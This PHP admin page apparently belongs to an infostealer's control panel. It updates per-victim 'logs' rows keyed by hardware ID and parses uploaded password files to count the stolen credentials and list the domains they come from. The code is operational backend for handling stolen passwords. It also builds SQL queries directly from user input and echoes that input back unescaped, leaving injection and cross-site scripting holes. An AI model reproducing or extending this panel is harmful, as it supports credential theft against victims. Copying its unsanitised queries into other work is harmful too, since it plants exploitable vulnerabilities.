<?php
// Script to directly update statistics in the database
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Include required files
require_once 'config.php';

// Process form submission for direct database update
if (isset($_POST['update_db'])) {
    $hwid = $_POST['hwid'];
    $pwd_count = $_POST['pwd_count'];
    $domains = $_POST['domains'];
    
    // Update both Passwords and pwd_count fields
    $query = "UPDATE logs SET 
        Passwords = '$pwd_count', 
        pwd_count = '$pwd_count',
        domains = '$domains',
        last_updated = NOW() 
        WHERE hwid = '$hwid'";
    
    if (mysqli_query($condb, $query)) {
        $message = "<p style='color:green'>Database updated successfully!</p>";
    } else {
        $message = "<p style='color:red'>Error updating database: " . mysqli_error($condb) . "</p>";
    }
}

// Get the current values for the HWID
$hwid = isset($_GET['hwid']) ? $_GET['hwid'] : 'LBBFEBFBFF000B06A2admin';
$query = "SELECT * FROM logs WHERE hwid = '$hwid'";
$result = mysqli_query($condb, $query);
$data = ($result && mysqli_num_rows($result) > 0) ? mysqli_fetch_assoc($result) : null;

// Also get the actual files data for reference
$baseDir = 'upload/' . $hwid;
$passwordFiles = glob($baseDir . '/*[Pp]assword*.txt');
$fileData = [];

foreach ($passwordFiles as $file) {
    if (file_exists($file) && is_readable($file)) {
        $content = file_get_contents($file);
        $urlCount = 0;
        $domains = [];
        
        // Count URLs
        preg_match_all('/URL\s*[:=\s]\s*(https?:\/\/[^\/\s]+)/i', $content, $matches);
        if (!empty($matches[1])) {
            foreach ($matches[1] as $url) {
                $urlCount++;
                $domain = parse_url($url, PHP_URL_HOST);
                if ($domain && !in_array($domain, $domains)) {
                    $domains[] = $domain;
                }
            }
        }
        
        $fileData[] = [
            'file' => basename($file),
            'url_count' => $urlCount,
            'domains' => $domains
        ];
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Direct Database Update</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        table { border-collapse: collapse; width: 100%; margin-bottom: 20px; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        .container { display: flex; gap: 20px; }
        .column { flex: 1; }
    </style>
</head>
<body>
    <h1>Database Direct Update Tool</h1>
    
    <?php if (isset($message)) echo $message; ?>
    
    <div class="container">
        <div class="column">
            <h2>Current Database Values</h2>
            <?php if ($data): ?>
            <table>
                <tr><th>Field</th><th>Value</th></tr>
                <tr><td>HWID</td><td><?php echo $data['hwid']; ?></td></tr>
                <tr><td>Passwords</td><td><?php echo $data['Passwords']; ?></td></tr>
                <tr><td>pwd_count</td><td><?php echo $data['pwd_count']; ?></td></tr>
                <tr><td>Domains</td><td><?php echo $data['domains']; ?></td></tr>
                <tr><td>Last Updated</td><td><?php echo $data['last_updated']; ?></td></tr>
            </table>
            <?php else: ?>
            <p>No data found for HWID: <?php echo $hwid; ?></p>
            <?php endif; ?>
            
            <h2>Update Database Directly</h2>
            <form method="post" action="">
                <div>
                    <label>HWID:</label>
                    <input type="text" name="hwid" value="<?php echo $hwid; ?>" style="width: 100%;">
                </div>
                <div>
                    <label>Password Count:</label>
                    <input type="number" name="pwd_count" value="<?php echo $data ? $data['pwd_count'] : 3; ?>">
                </div>
                <div>
                    <label>Domains (comma separated):</label>
                    <input type="text" name="domains" value="<?php echo $data ? $data['domains'] : 'authenticator.cursor.sh,www.instagram.com'; ?>" style="width: 100%;">
                </div>
                <div>
                    <input type="submit" name="update_db" value="Update Database">
                </div>
            </form>
<!-- Added by panel_fix.php to force refresh stats -->
<button type="button" onclick="window.location.href='logs.php?hwid='+document.querySelector('input[name=&quot;hwid&quot;]').value+'&force=1'" style="margin-left: 10px; background-color: #4CAF50; color: white; border: none; padding: 5px 10px; cursor: pointer;">Update Bot Statistics</button>
        </div>
        
        <div class="column">
            <h2>Actual Files Data</h2>
            <?php if (!empty($fileData)): ?>
                <?php foreach ($fileData as $file): ?>
                <div>
                    <h3><?php echo $file['file']; ?></h3>
                    <p>URL Count: <?php echo $file['url_count']; ?></p>
                    <p>Domains:</p>
                    <ul>
                        <?php foreach ($file['domains'] as $domain): ?>
                        <li><?php echo $domain; ?></li>
                        <?php endforeach; ?>
                    </ul>
                </div>
                <?php endforeach; ?>
            <?php else: ?>
                <p>No password files found in upload/<?php echo $hwid; ?></p>
            <?php endif; ?>
            
            <h2>Refresh Stats</h2>
            <p>Click the button below to trigger a refresh of the statistics based on the actual files:</p>
            <a href="logs.php?hwid=<?php echo $hwid; ?>&force=1" style="display: inline-block; padding: 10px; background-color: #4CAF50; color: white; text-decoration: none; border-radius: 5px;">Refresh Stats from Files</a>
        </div>
    </div>
</body>
</html> 